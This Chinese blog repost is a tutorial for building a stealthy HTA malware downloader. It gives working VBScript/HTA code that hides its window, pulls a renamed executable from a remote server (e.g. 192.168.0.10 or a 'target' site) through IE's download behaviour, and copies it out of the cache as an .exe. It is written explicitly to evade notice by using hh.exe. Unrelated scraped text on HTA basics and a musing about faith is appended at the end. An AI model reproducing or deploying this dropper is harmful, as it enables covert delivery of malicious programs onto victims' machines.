做一个困难重重的hta下载者，做一个hta

文章由Byrx.net分享于2019-03-22 05:03:21评论（520）

做一个困难重重的hta下载者，做一个hta

一、先说本blog上有两个比较新颖的vbs下载者，一个是利用CDO.Message组件做的，另一个是用Microsoft.XMLDOM做的，参见http://www.bkjia.com/article/15506.htm。这两个下载者一个是利用起来比较麻烦，需要事先把exe进行转化。第二使用中cscript.exe会访问网络，不太隐蔽。第二个是有的机器上并不存在这两个组件及利用到ADODB.Stream的，所以有些弊端。
二、再来说一下lake2的下载者http://blog.csdn.net/lake2/archive/2007/05/08/1600580.aspx。这个下载者算是不错了，但是也有问题。一个是如果装了360等其它的浏览器的话，会打开一个ie窗口，并且从注册表中读到的ie缓存位置不一定准确。
三、那我们如何来更新这些缺陷？还是有办法的。我们用hta来写，这个就比较少见了.hh.exe访问网络一般估计会放行的。写这个下载者要解决的困难有几下几点：

（1）.使hta不可见-------------》简单，移动窗口
（2）.使hta接收命令行参数--------------》本blog上有资料
（3）.不调用上边一、二大项所说的所有组件-----------》这个我们利用ie的默认行为
（4）.ie缓存的临时位置---------》我用的环境变量
(5)我们不调用任何组件-------------------》需要手动
四、代码（直接把参数写在hta里）

复制代码代码如下:

用法是：把exe好比xx.exe改名放到空间上，然后命令行下或双击这个hta就可以了。
五、另一份代码（传命令行参数）
我个人觉得第四部份的代码比较好，修改一下用就可以了。如果调用命令行参数的话，我发现还是会出现hta小窗口，下载完后才关闭，所以这不太好。代码：

复制代码代码如下:

<HTA:APPLICATION
ID="MySampleHTA"
Caption="yes">
<script language=vbs>
on error resume Next
window.moveTo 4000,4000
window.resizeTo 0,0 '使hta不可见
cmdLineArray = Split(MySampleHTA.commandLine)'这是把命令中的参数变成数组
set objshell= Createobject("WScript.Shell")
downpath=objshell.ExpandEnvironmentStrings("%USERPROFILE%")&"\Local Settings" '根据环境变量得到下载的路径
temp=LastOne(cmdLineArray(UBound(cmdLineArray)),"/") '从命令行得到当前文件名
temp=split(temp,".")'根据.分割
FindFileName=temp(0)&"[1]."&temp(1)
LocalName=objshell.CurrentDirectory&"\"&temp(0)&".exe"
set xml=document.createElement("xml")
xml.addBehavior("#default#DownLoad")
xml.async=0
xml.load(cmdLineArray(UBound(cmdLineArray)))

ShowAllFile(downpath)
Sub ShowAllFile(Path)
Set FSO = CreateObject("Scripting.FileSystemObject")
Set f = FSO.GetFolder(Path)
Set fc = f.SubFolders
For Each f1 in fc
If FSO.FileExists(path&"\"&f1.name&"\"&FindFileName) Then
FSO.CopyFile path&"\"&f1.name&"\"&FindFileName, LocalName
'document.write "[+]Download Success !"
End If
ShowAllFile path&"\"&f1.name
Next
Set FSO = Nothing

End Sub
Function LastOne(Str,splitStr)
'输入字符和分隔符，得到最后一部分
LastOne = right(Str,len(Str)-InStrRev(Str,splitStr))
End Function
window.close
</script>

用法是：把exe好比xx.exe改名xx.htm放到空间上，然后命令行下好比"c:\xx.hta http://www.target.com/xx.htm"，这样xx.exe就会保存到c:
六、不调用任何组件（需手动查找下载的xx[1].htm）：

复制代码代码如下:

window.moveTo 4000,4000
window.resizeTo 0,0 '使hta不可见
set xml=document.createElement("xml")'建方xml元素调用ie的默认行为
xml.addBehavior("#default#DownLoad")
xml.async=0
xml.load("http://192.168.0.10/xx.htm")'
window.close

七、缺点
我这个hta下载者并不是完美的。第一是因为下载到的临时变量我用到了ExpandEnvironmentStrings("%USERPROFILE%")，这样在用户环境下可用，如果是system权限下可能不正常（我猜测的，并没有测试）。第二是因为下载成功后并没有提示，直接用hta在命令行下显示出回显有些麻烦，所以我没有做，嘿嘿。

问*hta格式文件的问题

hta文件其实和htm文件是一样的，把htm的文件扩展名改为hta就行了。然后就可以像一般可执行文件一样直接双击hta文件运行了，运行效果和htm文件在浏览器中是一样的。另外，一些在htm中受限制的功能，在hta文件中则可以使用，比如读取数据库、打开WScript.Shell组件等等（这是因为hta是由用户主动点击运行的，如果发生安全问题由用户承担责任；而htm文件是用户被动接受的，如果网页存在安全问题，用户可能在完全不知情的情况下受到损害。）。
因此你用设计htm的方式设计hta即可，两者惟一的区别就是hta多了HTA:APPLICATION标签，这个你百度一下就知道了。另外在hta中，尽量不要用超链接（不管target指向哪，它都会新开一个窗口的），而应该用按钮触发javascript或VBScript，然后把运行结果发送到页面上指定ID的标签（比如div）的innerHTML或innerText属性，这样就可以在同一个hta文件实现原来多个htm页面才能实现的功能。当然，也可以用iframe，用一个hta调用多个htm的方式，这个相对简单一些。

举一个对于一个人因为拥有信仰,战胜了重重困难的事例

这句话像是得有了重重困难，才信仰一样。

其实信仰的话，自己生活的好就可以了。不与人为难，不为难自己。不为难身边的人，也不为难远一点的人。

经历了是是非非才明白，人终有限，顾好自己就可以了。

谁若自满自傲，以为自己能力强大，非要对别人怎么怎么样。一定会遇到不幸的。

热门文章：

做一个困难重重的hta下载者，做一个hta